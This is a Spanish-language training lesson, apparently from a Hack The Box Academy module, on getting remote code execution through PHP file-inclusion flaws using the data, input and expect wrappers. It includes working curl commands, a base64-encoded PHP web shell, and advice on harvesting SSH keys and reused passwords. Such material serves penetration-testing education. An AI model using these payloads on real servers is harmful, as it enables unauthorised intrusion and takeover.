# Wrappers de PHP
Hasta ahora, en este módulo, hemos estado explotando vulnerabilidades de inclusión de archivos para revelar archivos locales a través de varios métodos. A partir de esta sección, comenzaremos a aprender cómo podemos usar las vulnerabilidades de inclusión de archivos para ejecutar código en los servidores back-end y obtener control sobre ellos.
Podemos usar muchos métodos para ejecutar comandos remotos, cada uno de los cuales tiene un caso de uso específico, ya que dependen del lenguaje/marco de back-end y las capacidades de la función vulnerable. Un método fácil y común para obtener control sobre el servidor back-end es enumerar las credenciales de usuario y las claves SSH, y luego usarlas para iniciar sesión en el servidor back-end a través de SSH o cualquier otra sesión remota. Por ejemplo, podemos encontrar la contraseña de la base de datos en un archivo como `config.php`, que puede coincidir con la contraseña de un usuario en caso de que vuelva a usar la misma contraseña. O podemos verificar el `.ssh`directorio en el directorio de inicio de cada usuario, y si los privilegios de lectura no están configurados correctamente, entonces podemos obtener su clave privada ( `id_rsa`) y usarla para SSH en el sistema.
Además de estos métodos triviales, existen formas de lograr la ejecución remota de código directamente a través de la función vulnerable sin depender de la enumeración de datos o los privilegios de archivos locales. En esta sección, comenzaremos con la ejecución remota de código en aplicaciones web PHP. Nos basaremos en lo que aprendimos en la sección anterior y utilizaremos diferentes `PHP Wrappers`para lograr la ejecución remota de código. Luego, en las próximas secciones, aprenderemos otros métodos para obtener la ejecución remota de código que también se puede usar con PHP y otros lenguajes.
# ****Data****
El contenedor [de datos](https://www.php.net/manual/en/wrappers.data.php) se puede utilizar para incluir datos externos, incluido el código PHP. Sin embargo, el contenedor de datos solo está disponible para usar si la `allow_url_include`configuración ( ) está habilitada en las configuraciones de PHP. Entonces, primero confirmemos si esta configuración está habilitada, leyendo el archivo de configuración de PHP a través de la vulnerabilidad LFI.
## ****Comprobación de las configuraciones de PHP****
Para hacerlo, podemos incluir el archivo de configuración de PHP que se encuentra en ( `/etc/php/X.Y/apache2/php.ini`) para Apache o en ( `/etc/php/X.Y/fpm/php.ini`) para Nginx, donde `X.Y`está su versión de instalación de PHP. Podemos comenzar con la última versión de PHP y probar versiones anteriores si no pudimos ubicar el archivo de configuración. También usaremos el `base64`filtro que usamos en la sección anterior, ya que `.ini`los archivos son similares a `.php`los archivos y deben codificarse para evitar que se rompan. Finalmente, usaremos cURL o Burp en lugar de un navegador, ya que la cadena de salida podría ser muy larga y deberíamos poder capturarla correctamente:
```bash
nachuwu@htb[/htb]$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>
W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...
4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
```
Una vez que tenemos la cadena codificada en base64, podemos decodificarla y `grep`ver `allow_url_include`su valor:
```bash
nachuwu@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
```
¡Excelente! Vemos que tenemos esta opción habilitada, por lo que podemos usar el `data`wrapper. Saber cómo verificar la `allow_url_include`opción puede ser muy importante, ya `this option is not enabled by default`que se requiere para varios otros ataques LFI, como usar el `input`envoltorio o para cualquier ataque RFI, como veremos a continuación. No es raro ver esta opción habilitada, ya que muchas aplicaciones web dependen de ella para funcionar correctamente, como algunos complementos y temas de WordPress, por ejemplo.
## Ejecución remota de código
Con `allow_url_include`habilitado, podemos continuar con nuestro `data`ataque de contenedor. Como se mencionó anteriormente, el `data`contenedor se puede usar para incluir datos externos, incluido el código PHP. También podemos pasarle `base64`cadenas codificadas con `text/plain;base64`, y tiene la capacidad de decodificarlas y ejecutar el código PHP.
Entonces, nuestro primer paso sería codificar en base64 un shell web PHP básico, de la siguiente manera:
```bash
nachuwu@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
```
Ahora, podemos codificar en URL la cadena base64 y luego pasarla al contenedor de datos con `data://text/plain;base64,`. Finalmente, podemos usar comandos de paso al shell web con `&cmd=<COMMAND>`:
También podemos usar cURL para el mismo ataque, de la siguiente manera:
```bash
nachuwu@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
# ****Input****
Similar al `data`contenedor, el contenedor [de entrada](https://www.php.net/manual/en/wrappers.php.php) se puede usar para incluir entradas externas y ejecutar código PHP. La diferencia entre este y el `data`contenedor es que pasamos nuestra entrada al `input`contenedor como datos de una solicitud POST. Por lo tanto, el parámetro vulnerable debe aceptar solicitudes POST para que este ataque funcione. Finalmente, el `input`contenedor también depende de la `allow_url_include`configuración, como se mencionó anteriormente.
Para repetir nuestro ataque anterior pero con el `input`contenedor, podemos enviar una solicitud POST a la URL vulnerable y agregar nuestro shell web como datos POST. Para ejecutar un comando, lo pasaríamos como un parámetro GET, como hicimos en nuestro ataque anterior:
```bash
nachuwu@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
<aside>
💡 **Nota:** para pasar nuestro comando como una solicitud GET, necesitamos que la función vulnerable también acepte la solicitud GET (es decir, use `$_REQUEST`). Si solo acepta solicitudes POST, entonces podemos poner nuestro comando directamente en nuestro código PHP, en lugar de un shell web dinámico (p. ej. `<\?php system('id')?>`)
</aside>
# ****Expect****
Finalmente, podemos utilizar el contenedor [expect](https://www.php.net/manual/en/wrappers.expect.php) , que nos permite ejecutar comandos directamente a través de flujos de URL. Expect funciona de manera muy similar a los shells web que hemos usado anteriormente, pero no necesita proporcionar un shell web, ya que está diseñado para ejecutar comandos.
Sin embargo, se espera que sea un contenedor externo, por lo que debe instalarse y habilitarse manualmente en el servidor back-end, aunque algunas aplicaciones web dependen de él para su funcionalidad principal, por lo que podemos encontrarlo en casos específicos. Podemos determinar si está instalado en el servidor back-end tal como lo hicimos `allow_url_include`antes, pero lo haríamos `grep`en `expect`su lugar, y si está instalado y habilitado, obtendríamos lo siguiente:
```bash
nachuwu@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
```
Como podemos ver, la `extension`palabra clave de configuración se usa para habilitar el `expect`módulo, lo que significa que deberíamos poder usarlo para obtener RCE a través de la vulnerabilidad LFI. Para usar el módulo expect, podemos usar el `expect://`contenedor y luego pasar el comando que queremos ejecutar, de la siguiente manera:
```bash
nachuwu@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Como podemos ver, la ejecución de comandos a través del `expect`módulo es bastante sencilla, ya que este módulo fue diseñado para la ejecución de comandos, como se mencionó anteriormente. El módulo [Web Attacks](https://academy.hackthebox.com/module/details/134) también cubre el uso del `expect`módulo con vulnerabilidades XXE, por lo que si tiene una buena comprensión de cómo usarlo aquí, debe estar configurado para usarlo con XXE.
Estos son los tres envoltorios de PHP más comunes para ejecutar directamente comandos del sistema a través de vulnerabilidades LFI. También cubriremos los envoltorios `phar`y `zip`en las próximas secciones, que podemos usar con aplicaciones web que permiten que las cargas de archivos obtengan ejecución remota a través de vulnerabilidades LFI.
Sign in with Wallet
Connect another wallet